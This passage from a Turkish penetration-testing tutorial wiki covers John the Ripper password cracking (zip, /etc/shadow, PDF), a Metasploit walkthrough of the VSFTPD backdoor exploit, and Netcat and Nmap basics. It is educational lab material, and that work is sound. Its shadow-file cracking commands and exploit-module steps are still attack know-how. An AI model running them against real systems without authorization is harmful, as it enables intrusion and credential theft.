<figure><img src="/files/TU82uuQv1JWbxzBcBv0a" alt=""><figcaption><p>Zip dosyasının hash'ini alan komut</p></figcaption></figure>

#### Hash değeri

<figure><img src="/files/wlpfkS7tSP4ngGeopqDi" alt=""><figcaption><p>Hash Değeri</p></figcaption></figure>

### Son aşama

Aldığımız hash değeri ile birlikte artık şifre kırmaya hazırız. **john "hash dosyası"** komutu ile şifre kırma işlemini başlatıyoruz. İşlem bittikten sonra aşağıdaki görselde gösterildiği gibi şifremiz bulunmuş bir şekilde ekranda yazıyor.

John, bu parolayı yukarıda bahsettiğimiz [Sözlük Saldırısı](#dictionary-saldirilari) yöntemiyle bulmuştur.

Parola: yusufnas

<figure><img src="/files/6dtprSOyB34vOLcox7vU" alt=""><figcaption><p>Parola bulundu</p></figcaption></figure>

***

## John The Ripper ile Kullanıcıların şifresini kırma

John The Ripper'ın kullanım alanı oldukça geniştir. Önceki örnekten farklı olarak bu sefer linux üzerinde bir kullanıcı oluşturacağız ve bunun şifresini kırmayı deneyeceğiz.

### Kullanıcı oluşturma ve şifre belirleme

Öncelikle bir kullanıcı oluşturuyoruz ve şifresini belirliyoruz.

**useradd -r "kullanıcı adi"** ile kullanıcımızı oluşturduktan sonra **passwd "kullanıcı adı"** ile kullanıcımıza bir parola belirliyoruz.

Kullanıcı adı: sibervatan\
Parola: sibervatan

<figure><img src="/files/EemCiEzSJkHGEhMAh0hR" alt=""><figcaption><p>Kullanıcı oluşturma ve parola belirleme komutları</p></figcaption></figure>

Oluşturduğumuz kullanıcının parolasını kırmak için kullanıcıların bulunduğu **/etc/shadow** dosyasına bir saldırı yapacağız.

Kullanım: john "dosya dizini" "şifre kırma formatı"

etc dizininde bulunduğum için **john shadow --format=crypt** komutu ile saldırıyı başlatıyorum. John The Ripper, kullanıcıları belirleyip hashlenmiş parolalarını verdiğiniz format yöntemine göre kendi algoritmasıyla bir saldırıda bulunuyor ve kullanıcı parolalarını ekrana yazdırıyor.

John bu şifreyi yukarıda bahsettiğimiz [Sözlük Saldırısı](#dictionary-saldirilari) yöntemiyle bulmuştur.

sibervatan kullanıcısı ve parolası (soldaki parola sağdaki kullanıcı adı) olarak ekrana yazdırılıyor.

<figure><img src="/files/HvyF10ZaeTlZGWGehh06" alt=""><figcaption><p>User şifresini bulma</p></figcaption></figure>

***

## John The Ripper ile PDF şifresi kırma

John The Ripper ile pdf şifrelerini de şifrenin uzunluğuna ve karmaşıklığına göre belirli bir süre içerisinde kırabiliyoruz. Önce şifreli bir pdf dosyası oluşturalım.

Ben hazırda bulunan **yusuf.pdf** dosyamın adını **belge-sifreli.pdf** olarak değiştirip şifresini root olarak belirliyorum.

<figure><img src="/files/cTgwC6uMRtihbFIMJOlj" alt=""><figcaption><p>Şifreli pdf oluşturma komutu</p></figcaption></figure>

Oluşturduğum **belge-sifreli.pdf** dosyasının şifresinin hash değerini \*\*pdfhash.txt'\*\*ye atıyorum. Bu işlemi yaparken pdf2john'u kullanıyoruz.

<figure><img src="/files/r4JxnIZNjZBiFwU3nEhP" alt=""><figcaption></figcaption></figure>

Görüldüğü üzere **pdfhash.txt** masaüstünde oluşturuldu ve pdf dosyasının şifresinin hash değeri içine aktarıldı.

Son aşamada elde ettiğimiz hash değerini çözümlemeye çalışacağız. Bu sefer pdf dosyası kullandığımız için formatı pdf olarak veriyor ve pdfhash.txt içeriğini john aracı ile çözmeye çalışıyoruz.

John, bu parolayı yukarıda bahsettiğimiz [Sözlük Saldırısı](#dictionary-saldirilari) yöntemiyle bulmuştur.

24s sonra parola değeri root olarak bulunuyor.

<figure><img src="/files/HeUwSE7C0vyN3lJuOzNW" alt=""><figcaption></figcaption></figure>

Bu yazımda John The Ripper ile yapabileceğiniz zip ve kullanıcı parolasını kırma yöntemlerini anlattım. Çeşitli birçok şifre kırma saldırısını John The Ripper üzerinden yapabilirsiniz. Kafanıza takılan, anlamadığınız veya çözemediğiniz bir kısım olursa bana Github üzerindeki sosyal medya hesaplarımdan ulaşabilirsiniz.

<details>

<summary>Kaynaklar</summary>

<https://sibermetin.com/rar-zip-sifreleri-nasil-kirilir>

<https://serdardasdemir.com/john-the-ripper-jtr-kullanimi-john-the-ripper-nedir-jtr-brute-force/>

</details>

{% embed url="<https://github.com/yyusufnas>" %}
Bu yazı Yusuf Nas tarafından yazılmıştır.
{% endembed %}


# Metasploit Framework

Metasploit Framework: Bilgisayar Güvenliği ve Hacking'in Güçlü Aracı

<figure><img src="/files/ZymcVdKyXnUEqkIIRtHb" alt="" width="563"><figcaption></figcaption></figure>

## Metasploit Framework Nedir?

Metasploit Framework, bilgisayar güvenliği ve penetrasyon testi alanında kullanılan bir açık kaynaklı yazılım platformudur. Bu etkileyici araç, siber güvenlik uzmanları ve etik hackerlar tarafından güvenlik zafiyetlerini tespit etmek, açıkları kapatmak ve savunma stratejilerini değerlendirmek için kullanılmaktadır.

Metasploit Framework Ruby programlama dilinde yazılmıştı**r** . Metasploit Framework motorunun temelindeki çerçeve, öncelikli olarak Ruby ile yazılmış **açık kaynaklı bir projedir** .

Metasploit Framework'ün temel avantajlarından biri, geniş bir veritabanına sahip olmasıdır. Kullanıcılar, çeşitli saldırı modüllerini kullanarak hedef sistemler üzerinde çeşitli testler gerçekleştirebilirler. Bu modüler yapı, kullanıcıların ihtiyaçlarına uygun saldırıları seçip uygulamalarına olanak tanır, bu da özelleştirilebilir ve etkili bir test süreci sunar.

Siber güvenlik alanında hızla değişen tehdit ortamına ayak uydurabilmek için, Metasploit Framework sürekli olarak güncellenir ve geliştirilir. Bu, kullanıcıların en son güvenlik zafiyetlerini ve saldırı tekniklerini test etmelerini sağlar. Ayrıca, açık kaynak topluluğu tarafından desteklenmesi, kullanıcıların deneyimlerini paylaşmalarına ve birbirlerinden öğrenmelerine olanak tanır.

Metasploitin kendine özgü dosya sisteminden bahsedecek olursak ;\
**1- Data:** Datalar Metasploit tarafından kullanılır ve değiştirilebilir.\
**2- Lib:** Metasploit Framework’ü oluşturan sistemin ana yapısı, kütüphanesidir.\
**3- Plugins:** Otomatik olarak çalışabilen ve Metasploit Framework’ün tüm özelliklerini kullanarak işlev gören eklentilerdir. İşlem esnasında çalışırlar.\
**4- Tools:** Yerine ve çalışmasına göre işlemleri halleden ve komut satırlarında çalışan araçlardır.\
**5- External:** Harici kaynaklar 3. parti yazılımlar ve kaynak kodlardır.\
**6- Documentation:** Metasploit Framework hakkında bilgilendirmek için kullanılan belgelerdir.\
**7- Modules:** Normal modüllerdir.\
**8- Scripts:** Meterpreter gibi gelişmiş script’lerdir.

## **Örnek Bir Saldırı Senaryosu :**

1. Öncelikle, Metasploit Framework kurulu bir makinada çalıştırılır ve konsol açılır.
2. Daha sonra, hedef sisteme bir açıklık aranır. Bu, search adımlarını kullanarak yapılabilir. Örneğin, “search cve:2022” komutu 2022 yılında yayınlanan tüm açıklıkları arar.
3. Bir açıklık bulunduğunda, o açıklığı kullanacak bir saldırı modülü seçilir. Örneğin, “use exploit/windows/smb/ms08\_067\_netapi” komutu MS08-067 açıklığını kullanan bir saldırı modülünü seçer.
4. Saldırı modülünün parametreleri ayarlanır. Örneğin, hedef IP adresi ve hedef sistemdeki kullanıcı adı ve parolası belirtilir.
5. Saldırı, “exploit” komutu ile başlatılır. Eğer başarılı olursa, hedef sisteme erişim sağlanmış olacaktır.

## Metasploit Framework Kurulumu <a href="#id-4bc6" id="id-4bc6"></a>

Kurulumu için terminal ekranımıza **“apt-get install metasploit-framework”** yazıyoruz. Daha sonra kurulumumuz tamamlandıktan sonra **“msfconsole”** komutu ile çalıştırabiliriz.

Metasploit Framework, güvenlik mühendisleri tarafından bir sızma testi sistemi ve güvenlik araçları ve istismarlar oluşturmaya izin veren bir geliştirme platformu olarak kullanılan dünyanın önde gelen açık kaynaklı sızma çerçevesidir. Çerçeve, hem saldırganlar hem de savunmacılar için bilgisayar korsanlığını basitleştirir.

## Metasploit Framework Nasıl Çalışır?

Bir Metasploit sızma testi, Metasploit'in sisteminizdeki savunmasız noktayı bulmak için Nmap , SNMP taraması , Windows yama numaralandırma ve Nessus gibi çeşitli keşif araçlarıyla entegre olduğu bilgi toplama aşamasıyla başlar. Zayıflık belirlendikten sonra, zırhtaki çatlağa nüfuz etmek için bir exploit ve payload seçilir. Exploit başarılı olursa, payload hedefte çalıştırılır ve kullanıcı görev yükü ile etkileşim kurmak için bir kabuk alır. Windows sistemlerine saldırmak için kullanılan en popüler payloadlardan biri Meterpreter'dır (yalnızca bellek içi etkileşimli bir kabuk). Hedef makineye girdikten sonra Metasploit, yetki yükseltme, paket yakalama, hash geçme, keylogger, ekran yakalama ve pivotlama araçları için çeşitli istismar araçları sunar. Kullanıcılar ayrıca hedef makine yeniden başlatılırsa kalıcı bir arka kapı da kurabilirler.

Metasploit Frameworkte bulunan kapsamlı özellikler modüler ve genişletilebilirdir, bu da her kullanıcı gereksinimine göre yapılandırmayı kolaylaştırır.

Hedefler, exploitler ve güvenlik testi süreciyle ilgili daha fazlası hakkındaki bilgiler Metasploit Framework [**PostgreSQL veritabanında**](https://en.wikipedia.org/wiki/PostgreSQL) depolanır.

## Metasploit Framework Genel Komutları

<figure><img src="/files/zLEexZLT7ibpkLoNRwLQ" alt=""><figcaption></figcaption></figure>

Kali Linux üzerinde bulunan Metasploit Framework terminal üzerinde çalıştırmak için **msfconsole** komutu kullanılır.

* **db\_status:** Veritabanı bağlantısını kontrol eder.
* **version:** Sürüm kontrolü sağlar.
* **search:** Exploit, payload vb. unsurları arayabiliriz. search -h parametresi ile arama için uygun kriterleri seçebilirsiniz.
* **show:** İstediğimiz bileşenleri listeleyebiliriz.
* **use:** Listeden kullanmak istediğiniz exploit, payload vb. seçilir.
* **info**: Seçilen exploit ile ilgili gerekli ayarları, versiyon vb. bilgileri gösterir.
* **set:** Exploit, payload için gerekli düzenlemeler yapılmasını sağlar.
* **unset:** Yapılan değişiklikleri geri alır.
* **sessions:** Aktif oturumları ve ID bilgilerini listeler.
* **exploit**: Seçilen hedefe saldırı başlatır.

Metasploit veritabanını başlatmak için "**service postgresql start**" komutunu, veritabanını durdurmak için ise "**service postgresql stop**" komutunu kullanabilirsiniz. Bu komutları uzun uzun yazmak yerine kendi alias'larınızı oluşturarak daha kısa komutlar kullanabilirsiniz.

**alias posstart=’service postgresql start’**\
**alias posstop=’service postgresql stop’**

**help:** Komut, parametre ve araçlar hakkında tüm bilgilere erişim için kullanılır.

<figure><img src="/files/NH4jJKCWTBkNE88O4CUU" alt=""><figcaption><p><strong>help</strong> komutunun kullanımı</p></figcaption></figure>

## **Metasploit Framework Örnek Kullanımı**

**"msfconsole"** komutu ile Metasploit Framework’ü çalıştıralım.

<figure><img src="/files/7sFxpuW6E91JLWAsYLwe" alt=""><figcaption></figcaption></figure>

Program başladığında **msf >** bizi karşılar.

Metasploit Framework’ün sağlıklı başlayıp başlamadığını ve gerekli veri tabanı bağlantısını kontrol etmek için "**db\_status"** komutunu yazıyoruz. Eğer "**postgresql connected to msf"** şeklinde bir çıktı aldıysak sorun yok demektir. Ayrıca "**msfupdate"** komutu ile Metasploit Framework’ü güncelleyebiliriz.

Bu yazımızda VSFTPD Backdoor zafiyetini örnek olarak kullanacağız.

**"search vsft"** komutu ile exploiti arayalım.

Araştırmamız sonucunda Metasploit Framework bize 1 tane exploit buldu.

**"use"** komutu ile exploitimizin adını girerek exploitimizi seçelim.

<figure><img src="/files/khn9RlE4Qj8JdArdLO0o" alt="" width="563"><figcaption></figcaption></figure>

Bir sistemde exploit’i çalıştırmak için elbette önceden hedef sistem ve hedef sisteme ait bazı bilgiler exploit’e girilmelidir. Bu parametreleri görmek için **“show options”** komutu kullanılmaktadır.

<figure><img src="/files/1Va2uQTV2bM2yzkH40O4" alt=""><figcaption></figcaption></figure>

Üst kısımda modül, alt kısımda ise payload’ın parametreleri görülmektedir:

* **Name:** Parametrenin ismidir.
* **Current Setting:** Parametreye ait girilen değer.
* **Required:** Girilmesinin zorunlu olup olmadığını belirten yer. “**No**” ise gerekli değil, “**Yes**” ise girilmesi zorunludur.
* **Description:** Parametreye ait açıklamadır.

Bu bilgilere dayanarak parametreler girilmelidir.

* LHOST: LocalHost’un kısaltılmasıdır ve bize ait local ip adresinin girilmesi istenir. Bağlantı bize geri geleceği için bizim local ip adresimiz yazılmalıdır ki çoğunlukla payloadlarda bizim local ip’miz istenir.
* RHOST: RemoteHost’un kısaltılmasıdır. Hedefin ip adresi girilmedilir.
* LPORT: LocalPort’un kısaltılmasıdır genellikle default olarak 4444 kullanılmaktadır.
* RPORT: RemotePort'un kısaltmasıdır. Hedef servisin çalıştığı port girilmelidir.

Ardından hangi parametreyi düzenleyeceksek **"set x"** şeklinde düzenleyebiliriz.

Son olarak "**exploit"** veya "**run"** komutu ile seçilen exploit veya payload uygulanır.

## Hatırlatma

Metasploit Framework bilinenin aksine sadece exploitleri barındırmaz. İçerisinde **auxiliary**, **post**, **payload**, **encoder**, **nop** gibi işlevleri de barındırır.

**Auxiliary:** Exploitleme işleminden önce bilgi toplamamıza olanak sağlar.\
**Payload:** Exploitleme işlemi sonrası sistemde işlem yapmamızı sağlayan modüllerdir.\
**Encoder:** Antivirüsler gibi güvenlik cihazlarını atlatmak için kullanılır.\
**Nop:** ”Not Operation” bellek yeri öğrenme amaçlı bellek dolduran bitler. Genellikle saldırı tespit ve engelleme sistemlerini aşmak için kullanılır.

{% embed url="<https://github.com/MetehanGulduren>" %}
Bu yazı Metehan Güldüren tarafından hazırlanmıştır.
{% endembed %}


# Netcat

<figure><img src="/files/rgBgkfgfd0NSSuSvq8Uk" alt="" width="563"><figcaption></figcaption></figure>

Netcat (nc), bilgisayar ağlarında iletişim sağlamak için kullanılan çok yönlü bir araçtır. Başlangıçta Unix sistemlerinde geliştirilmiş olmasına rağmen, Windows ve diğer platformlarda da kullanılabilir sürümleri bulunmaktadır. Netcat'in temel amacı, ağ üzerinden veri akışını yönetmek ve ağ uygulamalarını test etmek için bir araç olarak hizmet vermektir. İşlevleri arasında bağlantı kurma, bağlantıları dinleme, dosya transferi yapma, port tarama ve hatta bir şekilde shell (kabuk) bağlantısı kurma gibi birçok özellik bulunur. Netcat `nc` komutuyla çalışır. `nc -help` komutunu koşturduktan sonra Netcat ile neler yapabileceğinizi aşağıda detaylı bir şekilde görebilirsiniz.

<figure><img src="/files/HLLCp8km3O6TeE16e8kg" alt="" width="563"><figcaption></figcaption></figure>

***

### Özellikleri

Netcat'in bazı önemli özellikleri:

* Giden veya gelen bağlantılar, TCP veya UDP, herhangi porttan veya porta alma veya gönderme
* Uygun uyarılara sahip tam DNS ileri/geri kontrol,
* Herhangi yerel kaynak portunu kullanabilme
* Herhangi yerel olarak yapılandırılan ağ kaynak adresi kullanabilme
* Rastgele olarak port taramayı başlatma
* Kaynak yönderdirme kaybı yeteneğini kurma
* Standart girdideki komut satırı argümanlarını okuyabilme
* Her N saniyede bir satırı yavaş gönderme kipi
* İletilen ve alınan onaltılık atık veri
* Diğer program hizmetlerinin yerleşik bağlantılarını isteğe bağlı yapma
* İsteğe bağlı telnet seçenekleri cevabı

***

### **Netcat Neden Önemlidir?**

Netcat'in önemi çok yönlülüğünde yatmaktadır. Herhangi bir bağlantı noktasına hem giden hem de gelen bağlantılar (TCP veya UDP) kurabilir. Ayrıca, tüm ağ parametrelerini (kaynak bağlantı noktası/arayüz, dinleme bağlantı noktası/arabirimi ve tünele bağlanmasına izin verilen uzak ana bilgisayar) belirleme olanağıyla birlikte, UDP'den TCP'ye gibi özel tünellemeye olanak tanıyan bir tünel modu da içerir.

Netcat ayrıca rastgele seçimle yerleşik bağlantı noktası tarama yeteneklerine de sahiptir. Bu, onu ağ araştırması ve güvenlik denetimi için değerli bir araç haline getirir. Arabelleğe alınmış gönderme modu (her N saniyede bir satır) ve iletilen ve alınan verilerin onaltılık dökümü (stderr'e veya belirli bir dosyaya) gibi gelişmiş kullanım seçenekleri, onu ağ hata ayıklaması için güçlü bir araç haline getirir.

***

### **Netcat Nasıl Çalışır?**

Netcat, ağ bağlantıları üzerinden veri okuyup yazarak çalışır. Belirtilen portlara bağlantı kurabilir ve belirtilen portlardan gelen bağlantıları dinleyebilir. Bağlantı kurulduğunda, veriler bağlantı üzerinden gönderilebilir. Bu, Netcat'i ağ araştırmasından veri aktarımına kadar çeşitli görevler için güçlü bir araç haline getirir.

***

### **Temel Kullanımlar ve Özellikler**

**1. Bağlantı Kurma ve Dinleme:** Netcat, basit TCP veya UDP bağlantıları kurmak ve dinlemek için kullanılabilir.

Örneğin, bir web sunucusuna TCP bağlantısı kurmak için:

```
nc google.com 80
```

Bu komut ile google.com sunucusunun 80 numaralı portuna TCP bağlantısı kurabiliriz.

<figure><img src="/files/uJcsKxaPL9a7JC7AYq8X" alt="" width="563"><figcaption></figcaption></figure>

Aynı şekilde belirli bir portu dinlemek için;

```
nc -lvp 4444
```

Bu komut ile 4444 numaralı portu dinleyebilir ve gelen bağlantıları kabul edebiliriz.

**2. Dosya Transferi:** Netcat, dosyaları bir sistemden diğerine aktarmak için kullanılabilir.

Örneğin, bir dosyayı gönderen makinede

```
nc -lvp 4444 < dosya.txt
```

Dosyayı alan makinede ise;

```
nc 192.168.1.100 4444 > dosya.txt
```

Bu komut, belirtilen IP adresindeki 4444 numaralı porta dosya.txt dosyasını gönderir.

**3. Port Tarama:** Netcat, belirli bir IP adresi ve port aralığındaki açık portları taramak için kullanılabilir. Örneğin,

```
nc -zv 192.168.1.100 1-100 
```

Komutu ile 192.168.1.100 IP adresindeki 1 ile 100 arasındaki portları taramak mümkündür.

**4. Proxy ve Tünel Oluşturma:** Netcat, proxy sunucusu olarak da kullanılabilir. İki farklı ağ arasında iletişimi sağlamak için bir tünel oluşturmak için kullanılabilir. Bu, özellikle ağ güvenliği testleri yaparken veya ağaç geçit senaryolarında faydalı olabilir.

**5. Portun Açık Olup Olmadığını Anlama:** Bir portun açık olup olmadığını görmek isterseniz bunu birçok araç ve yöntem ile yapabilirsiniz, nmap, hping3, netcat bunlardan birkaç tanesidir. Aşağıdaki komut ile bir portun açık olup olmadığını görebilirsiniz. Örneğin,

```
nc -vz 127.0.0.1 22
```

<figure><img src="/files/MQOwNQTYLk9cfmBqrURX" alt="" width="563"><figcaption></figcaption></figure>

***

{% embed url="<https://github.com/ilaydamese2>" %}
Bu yazı İlayda MEŞE tarafından hazırlanmıştır.
{% endembed %}


# Nmap

<figure><img src="/files/PlKuCc4SgdyawgmJAoFK" alt=""><figcaption></figcaption></figure>

## Nmap nedir?

Nmap (Network Mapper yani Ağ haritalayıcı), bilgisayar ağları uzmanı Gordon Lyon (Fyodor) tarafından geliştirilmiş bir güvenlik tarayıcısıdır. Taranan ağın haritasını çıkarabilir ve ağ makinalarında çalışan servislerin durumlarını, işletim sistemlerini, portların durumlarını gözlemleyebilir.

Nmap kullanarak ağa bağlı herhangi bir bilgisayarın işletim sistemi, çalışan fiziksel aygıt tipleri, çalışma süresi, yazılımların hangi servisleri kullandığı, yazılımların sürüm numaraları, bilgisayarın güvenlik duvarına sahip olup olmadığı, ağ kartının üreticisinin adı gibi bilgiler öğrenilebilmektedir.

## Nmap’in Kullanım Alanları Nelerdir?

**Ağ Keşfi:** Taranan ağ üzerindeki sistemler hakkında bilgi sahibi olunması (port, üzerinde koşan uygulama vb. bilgileri öğrenmek gibi). Ağ topolojisinin çıkarılması

**Port Tarama:** Hedef sistemlerdeki açık portları tespit. Hangi servislerin çalıştığını ve hangi portların açık olduğunu belirlemek amacıyla yapılır.

**Servis Tespiti:** Tespit edilen açık portların ardındaki servislerin belirlenmesi ve bu servislerin sürümlerinin tespiti.

**İşletim Sistemi Tanıma:** Hedef sistemlerin işletim sistemini belirlemek için IP paketlerinin yanıtlarının analizi. Sızma testlerinin gerçekleştirilmesi.

**Scripting:** Özelleştirilmiş taramalar ve testler yapmak için kullanıcıların yazdığı ya da indirdiği betikleri çalıştırma.

## Nmap grafiksel kullanıcı arabirimi - Zenmap ve NmapFE

**Zenmap**, Adriano Monteiro Marques tarafından UMIT grafiksel kullanıcı arabiriminden faydalanılarak geliştirilmiş şu anki resmi kullanıcı arabirimdir. NMap paketinin içinde gelmektedir.

**NmapFE**, Zach Smith tarafından geliştirilmiş Nmap'in ilk resmi grafiksel kullanıcı arabirimi olma niteliğindedir. Nmap'in 2.2 ve 4.2 sürümleri arasında kullanılmıştır.

## Nmap ile port tarama

Nmap herhangi bir istemci veya sunucuyu birçok farklı şekilde tarama yeteneğine sahiptir. Nmap'i güçlü kılan farklı tarama tekniklerine sahip olmasıdır. Protokol temelli (TCP, UDP, vb.) tarama yapılabileceği gibi, belirli aralıklardaki IP adresleri, alt ağlar (subnet) ve üzerlerinde çalışan port ve servisleri de taranabilir.

### Tarama sonuçları için olası durumlar

**Open (Açık):** Portun erişilebilir durumda olduğunu ve port üzerinde bir uygulamanın TCP bağlantılarını ya da UDP datagramlarını kabul ettiği anlamına gelmektedir.

**Closed (Kapalı):** Portun erişilebilir olduğunu (Paketleri almakta ve geri paket göndermekte) fakat üzerinde herhangi bir uygulamanın olmadığı anlamını taşımaktadır.

**Filtered (Filtreli):** Dönen tepkiler bir paket filtreleme mekanizması tarafından engellenir. Nmap portun açık olduğuna karar veremez.

**Unfiltered (Filtresiz):** Portlar erişilebilir ancak Nmap portların açık veya kapalı olduğuna karar veremez. (Sadece ACK scan için)

**Open|filtered (Açık|Filtreli**): Nmap portların açık veya filtrelenmiş olduğuna karar veremez. (UDP, IP Protocol, FIN, Null, Xmas Scan için)

**Closed|filtered (Kapalı|Filtreli):** Nmap portların kapalı ya da filtreli olduğuna karar veremez. (Sadece Idle Scan için)

## En popüler Portlar

· 20 File Transfer Protocol (FTP) Veri İletimi

· 21 File Transfer Protocol (FTP) Komut Kontrolü

· 22 Secure Shell (SSH) Güvenli Giriş

· 23 Telnet uzaktan oturum açma hizmeti, şifrelenmemiş metin mesajları

· 25 Simple Mail Transfer Protocol (SMTP) e-posta gönderimi

· 53 Domain Name System (DNS) servisi

· 67, 68 Dynamic Host Configuration Protocol (DHCP)

· 80 Hypertext Transfer Protocol (HTTP) World Wide Web'de kullanılır

· 110 Post Office Protocol (POP3)

· 119 Network News Transfer Protocol (NNTP)

· 123 Network Time Protocol (NTP)

· 143 Internet Message Access Protocol (IMAP) Dijital posta yönetimi

· 161 Simple Network Management Protocol (SNMP)

· 194 Internet Relay Chat (IRC)

· 443 HTTP Secure (HTTPS) HTTP over TLS/SSL

· 546, 547 DHCPv6 IPv6 version of DHCP

## TCP VE UDP Nedir?

### TCP

TCP (Transmission Control Protocol), TCP/IP protokol takımının taşıma katmanı protokollerinden birisidir. Son güncellemesi Ağustos 2022 tarihi itibarıyla RFC 9293 içerisinde tanımlanmıştır.

Gelişmiş bilgisayar ağlarında paket anahtarlamalı bilgisayar iletişiminde kayıpsız veri gönderimi sağlayabilmek için TCP protokolü yazılmıştır. HTTP, HTTPS, POP3, SSH, SMTP, Telnet ve FTP gibi internetin kullanıcı açısından en popüler protokollerinin veri iletimi TCP vasıtasıyla yapılır.

#### TCP bağlantısı nasıl kurulur?

A bilgisayarı B bilgisayarına TCP yoluyla bağlanmak istediğinde şu yol izlenir:

1\. A bilgisayarı B bilgisayarına TCP SYNchronize mesajı yollar

2\. B bilgisayarı A bilgisayarının isteğini aldığına dair bir TCP SYN+ACKnowledgement mesajı yollar

3\. A bilgisayarı B bilgisayarına TCP ACK mesajı yollar

4\. B bilgisayarı bir ACK "TCP connection is ESTABLISHED" mesajı alır

5\. Üç zamanlı el sıkışma adı verilen bu yöntem sonucunda TCP bağlantısı açılmış olur.

#### Veri iletimi nasıl gerçekleşir?

TCP'de veri iletimi çift yönlüdür. Yani her iki taraf da birbirlerine aynı bağlantı içerisinde veri gönderebilmektedir. Bağlantı oluşturulduktan sonra, B bilgisayarı A bilgisayarından paketler almaya başlar. B, her aldığı paketten sonra bir süre bekledikten sonra en son düzgün olarak aldığı paket grubunu A'ya bildirir. Gelen bildirimlere göre A, daha sonra hangi paketleri yollaması gerektiğine karar verir ve yollar.

TCP bağlantısının sona erdirilmesi

Veri iletişimi bitince bilgisayarlardan herhangi biri diğerine TCP kapatma mesajı yollar. Diğer bilgisayar, kapatmayı teyit etme paketi ve kapatma isteği yollar. Son olarak, diğer bilgisayar da kapatma teyidini yollar ve bağlantı kapatılmış olur.

Bu işlemin adımları tam olarak şöyledir:

1\. A bilgisayarı B bilgisayarına bağlantıyı sonlandırmak istediğine dair TCP FIN mesajı yollar.

2\. B bilgisayarı A bilgisayarına bağlantı sonlandırma isteğini aldığına dair TCP ACK mesajı yollar.

3\. B bilgisayarı A bilgisayarına bağlantıyı sonlandırmak istediğine dair TCP FIN mesajı yollar.

4\. A bilgisayarı B bilgisayarına bağlantı sonlandırma isteğini aldığına dair TCP ACK mesajı yollar.

5\. Bu işlemlerin sonunda TCP bağlantısı sonlandırılmış olur. Buna 4 zamanlı el sıkışma denir.

Görüldüğü üzere, bağlantının kurulmasından farklı olarak bağlantı her cihaz için ayrıca kapatılmaktadır. Bunun nedeni, istenildiğinde bağlantının tek yönlü olarak açık tutulabilmesini sağlamaktır. Bunun için tek tarafın bağlantı kapama adımlarını gerçekleştirmesi gerekir.

### UDP

UDP (User Datagram Protocol - Kullanıcı Veri bloğu İletişim Kuralları), TCP/IP protokol takımının iki aktarım katmanı protokolünden birisidir. Verileri bağlantı kurmadan yollar.

Gelişmiş bilgisayar ağlarında paket anahtarlı bilgisayar iletişiminde bir datagram modu oluşturabilmek için UDP protokolü yazılmıştır. Bu protokol minimum protokol mekanizmasıyla bir uygulama programından diğerine mesaj göndermek için bir prosedür içerir. Bu protokol 'transaction' yönlendirmelidir. Paketin teslim garantisini isteyen uygulamalar TCP protokolünü kullanır.

* Geniş alan ağlarında (WAN) ses ve görüntü aktarımı gibi gerçek zamanlı veri aktarımlarında UDP kullanılır.
* UDP bağlantı kurulum işlemlerini, akış kontrolü ve tekrar iletim işlemlerini yapmayarak veri iletim süresini en aza indirir.
* UDP ve TCP aynı iletişim yolunu kullandıklarında UDP ile yapılan gerçek zamanlı veri transferinin servis kalitesi TCP'nin oluşturduğu yüksek veri trafiği nedeniyle azalır.

UDP'yi kullanan protokollerden bazıları DNS, TFTP ve SNMP protokolleridir. Uygulama programcıları birçok zaman UDP'yi TCP'ye tercih eder, zira UDP ağ üzerinde fazla bant genişliği kaplamaz.

UDP güvenilir olmayan bir aktarım protokolüdür. Ağ üzerinden paketi gönderir ama gidip gitmediğini takip etmez ve paketin yerine ulaşıp ulaşmayacağına onay verme yetkisi yoktur. UDP üzerinden güvenilir şekilde veri göndermek isteyen bir uygulama bunu kendi yöntemleriyle yapmak zorundadır.

UDP, Ulaşım katmanı'nda faaliyet gösteren bir protokoldür. Verilerin doğru ya da yanlış şekilde iletilip iletilmediğini garanti etmez (connectionless).

## UDP ve TCP arasındaki farklar

* TCP, bağlantı tabanlı (connection oriented) bir protokoldür, UDP bağlantı tabanlı değildir (connectionless).
* TCP'de akış kontrolü vardır, UDP'de akış kontrolü yoktur.
* TCP başlığı (header) 20 bayttır, UDP başlığı 8 bayttır.
* TCP, UDP'den daha yavaştır, çünkü verinin karşı tarafa ulaşıp ulaşmadığını kontrol eder.
* UDP, ses ve video gönderiminde kullanılır. TCP'ye göre daha hızlıdır fakat güvenilir (reliable) değildir. Veri ismine datagram denilir.
* Datagramın segmentten farkı ise içerisinde sıra numarasının bulunmamasıdır.

**NOT:** Ulaşım katmanı TCP, UDP, SCTP, DCCP’ iletişim kurallarından oluşur.

## Örneklendirme:

Aşağıda yer alan siberyavuzlar.com ve scanme.nmap.org sitelerinin nmap tarama sonuçları ve [whireshark](/araclar/wireshark) ile paket analizleri yer almaktadır.

### OPEN

<figure><img src="/files/ers3lcFUW6gr1FE4x48g" alt=""><figcaption></figcaption></figure>

Bu örnek scanme.nmap.org için yapılan Nmap taramasının sonucunda 22,25,80,9929 ve 31337 portlarının açık olduğunu göstermektedir.

<figure><img src="/files/xch2GkF7WekrxB4O11gn" alt=""><figcaption></figcaption></figure>

22 numaralı portu taradığımız sorguda State’in open çıkmasındaki sebebi anlamak için Nmap taraması yapmadan önce whireshark ile scanme.nmap.org adresinin ip adresini < ip.addr == 45.33.32.156 > filtreleyerek gelen ve giden paketleri dinlemeye başlıyoruz.

<figure><img src="/files/2uKd6901ObVSvDzxYZC6" alt=""><figcaption></figcaption></figure>

Sorguda Durumun Open çıkmasının sebebinin ana bilgisayarın ip adresinden hedef ip adresine TCP (Transmission Control Protocol) üzerinden gönderilen SYNchronize paketine karşılık olarak SYN+ACKnowledgement paketlerinin gelmesi sonucu oluştuğunu görmekteyiz.

### CLOSED

<figure><img src="/files/C8Pty9Ps4i5kkbiDth9v" alt=""><figcaption></figcaption></figure>

Bu örnek scanme.nmap.org için yapılan Nmap taramasının sonucunda 22,25,80,9929 ve 31337 portlarının açık olduğunu göstermektedir.

<figure><img src="/files/RGrKOfWgJubSCGF9diTB" alt=""><figcaption></figcaption></figure>

67 numaralı portu taradığımız sorguda State’in closed çıkmasındaki sebebi anlamak için Nmap taraması yapmadan önce whireshark ile scanme.nmap.org adresinin ip adresini < ip.addr == 45.33.32.156 > filtreleyerek gelen ve giden paketleri dinlemeye başlıyoruz.

<figure><img src="/files/ivmTBqexo2WzKginKtDK" alt=""><figcaption></figcaption></figure>

Sorgu sonucunun Closed çıkmasındaki sebebi Scname.nmap.org’un 67 numaralı portuna gönderilen SYNchronize paketine karşılık olarak gelen RST,ACK paketlerinin olduğunu görüyoruz.

### FİLTERED

<figure><img src="/files/cLBiuvagnQf0tBAUfRA3" alt=""><figcaption></figcaption></figure>

